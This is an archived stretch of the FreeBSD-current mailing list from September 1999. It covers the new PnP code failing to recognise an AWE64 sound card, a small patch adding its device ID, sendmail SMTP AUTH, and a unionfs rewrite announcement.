In-Reply-To: <199909261929.MAA13579@dingo.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Sep 26, 1999 at 12:29:46PM -0700, Mike Smith wrote:
> > 
> > But we do have a working driver for the AWE64.  Or rather, it worked fine
> > before the new PnP code was comitted, now it doesn't.  It seems to me that
> > this indicates a deficiency in the new PnP code.  Isn't that correct?
> 
> No.
> 
> I have already explained to you that the AWE64 driver that you were 
> using (one actually of _three_ that we have) only worked with PnP cards 
> as an accidental side-effect of the old PnP code.  Now that the PnP 
> code has been fixed, the brokenness of the old driver is exposed.

Can you give me a few hints on what would be necessary to get the old
driver to work with the new PnP?  I confess ignorance of both PnP and
soundcard programming, but I am willing to try to fix it if fixing it
is within my means.

It's amazing that one of the most popular sound cards of all time, one
that works fine on practically every OS from DOS3.3 to Linux and BeOS,
is of no concern to FBSD developers :-/


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13: 8:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dead-end.net (dead-end.net [216.15.131.2])
	by hub.freebsd.org (Postfix) with ESMTP id 7C83514C48
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:08:27 -0700 (PDT)
	(envelope-from rock@dead-end.net)
Received: from server.rock.net (p3E9E0EAF.dip.t-dialin.net [62.158.14.175])
	by dead-end.net (8.9.3/DEAD-END/1999022000) with ESMTP id WAA07392;
	Sun, 26 Sep 1999 22:08:25 +0200 (CEST)
	(envelope-from rock@dead-end.net)
Received: from dead-end.net (doom.rock.net [172.23.7.254])
	by server.rock.net (8.9.3/8.9.3/ROCK/1999053100) with ESMTP id WAA00442;
	Sun, 26 Sep 1999 22:11:11 +0200 (CEST)
	(envelope-from rock@dead-end.net)
Message-ID: <37EE7D96.23ACE6FA@dead-end.net>
Date: Sun, 26 Sep 1999 22:09:58 +0200
From: "D. Rock" <rock@dead-end.net>
X-Mailer: Mozilla 4.6 [de] (Win98; U)
X-Accept-Language: de
MIME-Version: 1.0
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?)
References: <19990926144715.A337@dmaddox.conterra.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" schrieb:
> 
> I couldn't get my PnP Creative AWE64G to work with the new PnP
> code, so I tried compiling a kernel with pcm instead.  All I get is:
> 
> unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> unknown1: <Game> at port 0x200-0x207 on isa0
> unknown2: <WaveTable> at port 0x620-0x623 on isa0
unknown indicates that no driver seems to be responsible for this card.
I had a similar problem with an Aztech sound card, which should be MSS
compatible.

> Logical Device ID: CTL0044 0x44008c0e #0
> Device Description: Audio
[...]

You should check your Device IDs with the ones in
/sys/dev/pcm/isa/sb.c

You should add your IDs at the right place there (it should be easy to
find).
Only use the "Audio" ID (CTL0044)

Daniel


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13: 8:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 2D2371543C
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:08:44 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id QAA11181;
	Sun, 26 Sep 1999 16:08:43 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id QAA00496;
	Sun, 26 Sep 1999 16:08:49 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 16:08:48 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: "D. Rock" <rock@dead-end.net>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926160848.A483@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926034143.A510@dmaddox.conterra.com> <37EE7C56.5A784192@dead-end.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <37EE7C56.5A784192@dead-end.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Thanks.  That is exactly what I have done.  The AWE device cannot
work this way, but everything else is functional if I remove the
PnP controller from my kernel...

On Sun, Sep 26, 1999 at 10:04:38PM +0200, D. Rock wrote:
> "Donald J . Maddox" schrieb:
> > Is the new PnP code really so smart that it has no use for user intervention
> > ever?  My experience indicates that it is not.
> > 
> > It would be very nice if the architects of the new PnP code would add back
> > this lost functionality.
> My (Q&D) solution for this problem:
> 
> Get rid of
> controller	pnp0
> in your config-file.
> 
> Write down the Port/IRQ/DMA of all your PnP cards, then configure them
> the
> hard way (they normally don't change between reboots).
> 
> This was my solution to get my PnP ISDN card working again (i4b isn't
> yet
> converted to newPnP). As a side effect I also had to manually configure
> my NE2000 compatible PnP card manually.
> 
> Before
> ---
> controller	pnp0
> device		ed0
> device		isic0
> --
> ed0: <NE2000 Compatible> at port 0x220-0x23f irq 3 on isa0
> ed0: address 00:40:05:38:7b:a4, type NE2000 (16 bit)
> unknown3: <speed win SEDLBAUER AG> at port 0x108-0x10f irq 11 on isa0
> 
> After
> ---
> device		ed0	at isa? port 0x220 irq 3
> device		isic0	at isa? port 0x108 irq 11 flags 9
> --
> ed0 at port 0x220-0x23f irq 3 on isa0
> ed0: address 00:40:05:38:7b:a4, type NE2000 (16 bit)
> isic0 at port 0x108 irq 11 flags 0x9 on isa0
> isic0: Sedlbauer WinSpeed
> isic0: ISAC 2085 Version A1/A2 or 2086/2186 Version 1.1 (IOM-2)
> (Addr=0x10a)
> isic0: HSCX 82525 or 21525 Version 2.1 (AddrA=0x10b, AddrB=0x10d)
> 
> The ISDN card needed some additional tweaking, since it a PnP only card
> and
> isn't expected to run as a non-PnP card, but the sound driver should be
> just
> like the ed driver.
> 
> 
> Daniel
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:13:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id C674614C48
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:13:55 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id QAA11319;
	Sun, 26 Sep 1999 16:13:54 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id QAA00543;
	Sun, 26 Sep 1999 16:13:59 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 16:13:59 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: "D. Rock" <rock@dead-end.net>
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?)
Message-ID: <19990926161359.A525@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926144715.A337@dmaddox.conterra.com> <37EE7D96.23ACE6FA@dead-end.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <37EE7D96.23ACE6FA@dead-end.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Thanks again, Daniel...  I'll take a look.  If the ID isn't in there,
I'll submit a PR to get it added.  (should only take about 10-12
months to actually get it comitted, if experience is a reliable guide :-/)

On Sun, Sep 26, 1999 at 10:09:58PM +0200, D. Rock wrote:
> "Donald J . Maddox" schrieb:
> > 
> > I couldn't get my PnP Creative AWE64G to work with the new PnP
> > code, so I tried compiling a kernel with pcm instead.  All I get is:
> > 
> > unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> > unknown1: <Game> at port 0x200-0x207 on isa0
> > unknown2: <WaveTable> at port 0x620-0x623 on isa0
> unknown indicates that no driver seems to be responsible for this card.
> I had a similar problem with an Aztech sound card, which should be MSS
> compatible.
> 
> > Logical Device ID: CTL0044 0x44008c0e #0
> > Device Description: Audio
> [...]
> 
> You should check your Device IDs with the ones in
> /sys/dev/pcm/isa/sb.c
> 
> You should add your IDs at the right place there (it should be easy to
> find).
> Only use the "Audio" ID (CTL0044)
> 
> Daniel
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:27:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id CA43714DCD
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:27:43 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id D7F441CC1; Mon, 27 Sep 1999 04:27:42 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Sun, 26 Sep 1999 14:47:15 -0400."
             <19990926144715.A337@dmaddox.conterra.com> 
Date: Mon, 27 Sep 1999 04:27:42 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990926202742.D7F441CC1@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" wrote:
> I couldn't get my PnP Creative AWE64G to work with the new PnP
> code, so I tried compiling a kernel with pcm instead.  All I get is:
> 
> unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 o
    n isa0
> unknown1: <Game> at port 0x200-0x207 on isa0
> unknown2: <WaveTable> at port 0x620-0x623 on isa0
[..]
> Card assigned CSN #1
> Vendor ID CTL009e (0x9e008c0e), Serial Number 0x09f665ec
> PnP Version 1.0, Vendor Version 32
> Device Description: Creative SB AWE64 Gold
> 
> Logical Device ID: CTL0044 0x44008c0e #0
                     ^^^^^^^^^^^^^^^^^^
[..]

Thank you! Finally, that was the information needed.  (The logical device
ID)

Please try the following patch:

Index: src/sys/dev/pcm/isa/sb.c
===================================================================
RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
retrieving revision 1.23
diff -u -r1.23 sb.c
--- sb.c	1999/09/07 08:42:44	1.23
+++ sb.c	1999/09/26 20:23:34
@@ -1258,6 +1309,7 @@
     	case 0x31008c0e: /* CTL0031 */
     	case 0x41008c0e: /* CTL0041 */
     	case 0x42008c0e: /* CTL0042 */
+    	case 0x44008c0e: /* CTL0044 */
     	case 0x45008c0e: /* CTL0045 */
 		s = "SB16 PnP";
 		break;

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:29:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id BA94B14DCD
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:29:35 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id ED4C41CC1; Mon, 27 Sep 1999 04:29:33 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: "D. Rock" <rock@dead-end.net>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 16:08:48 -0400."
             <19990926160848.A483@dmaddox.conterra.com> 
Date: Mon, 27 Sep 1999 04:29:33 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990926202933.ED4C41CC1@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" wrote:
> Thanks.  That is exactly what I have done.  The AWE device cannot
> work this way, but everything else is functional if I remove the
> PnP controller from my kernel...

Do not count on this working for long.  The PNP probe code is integral to
the isa bus now and it's just a stray leftover that there is a seperate
knob for it.

Get those logical device ID's in folks (pnpinfo -v), before you find out
the hard way.

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:36:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id B303914A12
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:36:55 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id QAA11930;
	Sun, 26 Sep 1999 16:36:54 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id QAA00738;
	Sun, 26 Sep 1999 16:36:59 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 16:36:59 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Peter Wemm <peter@netplex.com.au>
Cc: current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?)
Message-ID: <19990926163659.A707@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926144715.A337@dmaddox.conterra.com> <19990926202742.D7F441CC1@overcee.netplex.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <19990926202742.D7F441CC1@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Ok, will do.  Thanks.

This may be a silly question, but...  The old PnP driver recognized
a lot of devices, including my AWE64.  Isn't there a list of IDs it
was aware of that should be merged into newPnP ASAP?

On Mon, Sep 27, 1999 at 04:27:42AM +0800, Peter Wemm wrote:
> Please try the following patch:
> 
> Index: src/sys/dev/pcm/isa/sb.c
> ===================================================================
> RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
> retrieving revision 1.23
> diff -u -r1.23 sb.c
> --- sb.c	1999/09/07 08:42:44	1.23
> +++ sb.c	1999/09/26 20:23:34
> @@ -1258,6 +1309,7 @@
>      	case 0x31008c0e: /* CTL0031 */
>      	case 0x41008c0e: /* CTL0041 */
>      	case 0x42008c0e: /* CTL0042 */
> +    	case 0x44008c0e: /* CTL0044 */
>      	case 0x45008c0e: /* CTL0045 */
>  		s = "SB16 PnP";
>  		break;
> 
> Cheers,
> -Peter
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:40:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1])
	by hub.freebsd.org (Postfix) with SMTP id 2E3A914A12
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:40:11 -0700 (PDT)
	(envelope-from hm@hcs.de)
Received: from hcswork.hcs.de([192.76.124.5]) (1861 bytes) by hcshh.hcs.de
	via sendmail with P:smtp/R:inet_hosts/T:smtp
	(sender: <hm@hcs.de>) 
	id <m11VL5A-00024iC@hcshh.hcs.de>
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 22:39:40 +0200 (CEST)
	(Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11)
Received: by hcswork.hcs.de (Smail3.1.29.0 #13)
	id m11VL4z-0003lgC; Sun, 26 Sep 99 22:39 METDST
Message-Id: <m11VL4z-0003lgC@hcswork.hcs.de>
From: hm@hcs.de (Hellmuth Michaelis)
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <199909261841.LAA13232@dingo.cdrom.com> from Mike Smith at "Sep 26, 99 11:41:14 am"
To: mike@smith.net.au (Mike Smith)
Date: Sun, 26 Sep 1999 22:39:29 +0200 (METDST)
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Reply-To: hm@hcs.de
Organization: HCS Hanseatischer Computerservice GmbH
X-Mailer: ELM [version 2.4ME+ PL39 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 992       
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

From the keyboard of Mike Smith:

> I don't think an explanation of how PnP works or how it fits into our 
> device architecture is feasible at this point, so I'm going to 
> encourage you to do some research of your own. 

An explanation of how PnP works is not necessary, some good books and
papers exist on this topic.

But an explanation of the new device architecture for non-architects
which is a bit more helpful than http://www.freebsd.org/~dfr/devices.html
and how the new-PnP code fits into that would be very helpful and i'm
quite shure that this would enable much more people to actually work
with the code and fix problems rather than just complaining here.

hellmuth
-- 
Hellmuth Michaelis                                    Tel   +49 40 559747-70
HCS Hanseatischer Computerservice GmbH                Fax   +49 40 559747-77
Oldesloer Strasse 97-99                               Mail  hm [at] hcs.de
22457 Hamburg                                         WWW   http://www.hcs.de


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:46: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1])
	by hub.freebsd.org (Postfix) with SMTP id 57D00153B7
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:46:00 -0700 (PDT)
	(envelope-from hm@hcs.de)
Received: from hcswork.hcs.de([192.76.124.5]) (1613 bytes) by hcshh.hcs.de
	via sendmail with P:smtp/R:inet_hosts/T:smtp
	(sender: <hm@hcs.de>) 
	id <m11VLBJ-00024iC@hcshh.hcs.de>
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 22:46:01 +0200 (CEST)
	(Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11)
Received: by hcswork.hcs.de (Smail3.1.29.0 #13)
	id m11VLBI-0003lgC; Sun, 26 Sep 99 22:46 METDST
Message-Id: <m11VLBI-0003lgC@hcswork.hcs.de>
From: hm@hcs.de (Hellmuth Michaelis)
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <Pine.GSO.4.10.9909261532330.4258-100000@rac3.wam.umd.edu> from Kenneth Wayne Culver at "Sep 26, 99 03:33:22 pm"
To: culverk@wam.umd.edu (Kenneth Wayne Culver)
Date: Sun, 26 Sep 1999 22:46:00 +0200 (METDST)
Cc: current@FreeBSD.ORG
Reply-To: hm@hcs.de
Organization: HCS Hanseatischer Computerservice GmbH
X-Mailer: ELM [version 2.4ME+ PL39 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 747       
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

From the keyboard of Kenneth Wayne Culver:

> This is only partially related, but I still can't even boot a kernel with
> the pnp0 controller enabled. It just hangs after probing the soundcard.

Same here for a week or two in which dfr was very helpful to try to find 
out what happened.

With new userland and kernel made yesterday (25.) the problem silently 
disappeared without a trace and i'm able to boot again. Silly ..

hellmuth
-- 
Hellmuth Michaelis                                    Tel   +49 40 559747-70
HCS Hanseatischer Computerservice GmbH                Fax   +49 40 559747-77
Oldesloer Strasse 97-99                               Mail  hm [at] hcs.de
22457 Hamburg                                         WWW   http://www.hcs.de


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13:50: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252])
	by hub.freebsd.org (Postfix) with ESMTP id A4AEF153C6
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:50:00 -0700 (PDT)
	(envelope-from roberto@keltia.freenix.fr)
Received: (from uucp@localhost)
	by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id WAA13957
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 22:49:46 +0200 (CEST)
	(envelope-from roberto@keltia.freenix.fr)
Received: by keltia.freenix.fr (Postfix, from userid 101)
	id CDC1B8711; Sun, 26 Sep 1999 22:19:30 +0200 (CEST)
Date: Sun, 26 Sep 1999 22:19:30 +0200
From: Ollivier Robert <roberto@keltia.freenix.fr>
To: current@FreeBSD.ORG
Subject: Re: On hub.freebsd.org refusing to talk to dialups
Message-ID: <19990926221930.A23579@keltia.freenix.fr>
Mail-Followup-To: current@FreeBSD.ORG
References: <199909241550.RAA91996@gratis.grondar.za> <199909261112.MAA23799@keep.lan.Awfulhak.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.0pre2i
In-Reply-To: <199909261112.MAA23799@keep.lan.Awfulhak.org>
X-Operating-System: FreeBSD 4.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

According to Brian Somers:
> I belive sendmail-8.10 will have smtp authentication built in.  
> There's an rfc too (2554) but I can't say that they're the same thing 

8.10 (not yet released) has SMTP AUTH.

        Support SMTP AUTH (see RFC 2554).  New macros for this purpose
                are ${auth_authen}, ${auth_type}, and ${auth_author}
                which hold the client's authentication credentials,
                the mechanism used for authentication, and the
                authorization identity (i.e., the AUTH= parameter if
                supplied).  Based on code contributed by Tim Martin of CMU.
-- 
Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr
FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep  9 00:20:51 CEST 1999



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 14: 5:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP id 2654814FFC
	for <current@freebsd.org>; Sun, 26 Sep 1999 14:05:16 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.9.3/8.9.1) id OAA69583;
	Sun, 26 Sep 1999 14:05:16 -0700 (PDT)
	(envelope-from dillon)
Date: Sun, 26 Sep 1999 14:05:16 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <199909262105.OAA69583@apollo.backplane.com>
To: current@freebsd.org
Subject: HEADS UP, unionfs commit!
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

    A new unionfs has been committed.  It fixes a whole lot of things,
    but due to the complexity of the commit people should consider
    unionfs to be unstable and under test.  I will say, though, that
    unionfs was terribly unstable before the commit and there is very
    little that I could have done to actually make it worse :-)

    There is an interesting story behind this commit.  I had actually tried
    to fix unionfs around a month ago, believing it would be relatively
    simple.  After several days of hacking I was no closer to making things
    work better and gave up.  This time around I approached unionfs from
    the "everything must be broken" point of view and went through the
    whole source with a fine toothed comb, rewriting and commenting much of
    it .

    My eventual goal is to be able to mount unionfs on / and have it
    work so well as to be transparent.  It's always nice to have an 
    unattainable goal (consider what unionfs would have to do if you 
    renamed a backing store directory, for example!).

    My near-term goal is to be able to use unionfs for diskless 
    configurations, with read-only NFS mounts as backing store and
    swap-backed VN based filesystems as fronting store.  The idea
    is to make the diskless workstation work exactly like a normal
    server except that you lose everything when you reboot.

    In anycase, this is a rough but still relatively complete commit.  
    unionfs is being actively worked on at the moment, and Tor is working 
    on nullfs.

    The most common bug still probably in unionfs is a deadlock that may
    lockup the processes using unionfs, but hopefully will not effect
    processes not using unionfs.  Warning: if you have /usr/src mounted
    with unionfs you cannot gdb -k your active system because gdb will
    try to access the source files under /usr/src and lockup along with
    the rest of the unionfs related processes :-)

						-Matt


dillon      1999/09/26 13:52:42 PDT

  Modified files:
    sys/miscfs/union     union.h union_subr.c union_vfsops.c 
                         union_vnops.c 
  Log:
      This is a major fixup of unionfs.  At least 30 serious bugs have been
      fixed (many due to changing semantics in other parts of the kernel and not
      the original author's fault), including one critical one: unionfs could
      cause UFS corruption in the fronting store due to calling VOP_OPEN for
      writing without turning on vmio for the UFS vnode.
  
      Most of the bugs were related to semantics changes in VOP calls, lock
      ordering problems (causing deadlocks), improper handling of a read-only
      backing store (such as an NFS mount), improper referencing and locking
      of vnodes, not using real struct locks for vnode locking, not using
      recursive locks when accessing the fronting store, and things like that.
  
      New functionality has been added:  unionfs now has mmap() support, but
      only partially tested, and rename has been enhanced considerably.
  
      There are still some things that unionfs cannot do.   You cannot
      rename a directory without confusing unionfs, and there are issues
      with softlinks, hardlinks, and special files.  unionfs mostly doesn't
      understand them (and never did).
  
      There are probably still panic situations, but hopefully no where near
      as many as before this commit.
  
      The unionfs in this commit has been tested overlayed on /usr/src
      (backing /usr/src being a read-only NFS mount, fronting /usr/src being
      a local filesystem).  kernel builds have been tested, buildworld is
      undergoing testing.  More testing is necessary.
  
  Revision  Changes    Path
  1.15      +37 -10    src/sys/miscfs/union/union.h
  1.40      +349 -197  src/sys/miscfs/union/union_subr.c
  1.36      +58 -68    src/sys/miscfs/union/union_vfsops.c
  1.64      +818 -588  src/sys/miscfs/union/union_vnops.c





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 14: 5:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 8A4F2156B4
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:05:38 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 86B141CC3; Mon, 27 Sep 1999 05:05:37 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Sun, 26 Sep 1999 16:36:59 -0400."
             <19990926163659.A707@dmaddox.conterra.com> 
Date: Mon, 27 Sep 1999 05:05:37 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990926210537.86B141CC3@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" wrote:
> Ok, will do.  Thanks.
> 
> This may be a silly question, but...  The old PnP driver recognized
> a lot of devices, including my AWE64.  Isn't there a list of IDs it
> was aware of that should be merged into newPnP ASAP?

The old PnP code was matching on the card vendor ID.  The new pnp code
treats each logical device on it's own and matches by logical ID..
(It's actually far more useful that way as most cards have their own
manufacturer ID but quite often when they are compatable with something
they use that as their logical ID.)

For example, there are a zillion Soundblaster PnP compatables with their own
unique vendor ID but with a CTLxxxx ID on the logical device that implements
the sb parts of the card.

We're not doing this because we enjoy pain and suffering, it's because
it'll be better and more robust in the long run.  Unfortunately, there was
no canonical list of logical ID's on the cards we used to recognize.

So I repeat for the list.. If you've got a card that used to work or does
work under BIOS backwards compat preconfig with 'controller pnp0' disabled,
please send us a dmesg and pnpinfo -v so we can add the ID's.  'controller
pnp0' is quite likely to become non-optional soon so we can use the
motherboard resource lists.

Cheers,
-Peter




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 14:17: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 190F41571D
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:16:17 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id RAA13128;
	Sun, 26 Sep 1999 17:16:15 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id RAA01004;
	Sun, 26 Sep 1999 17:16:21 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 17:16:21 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
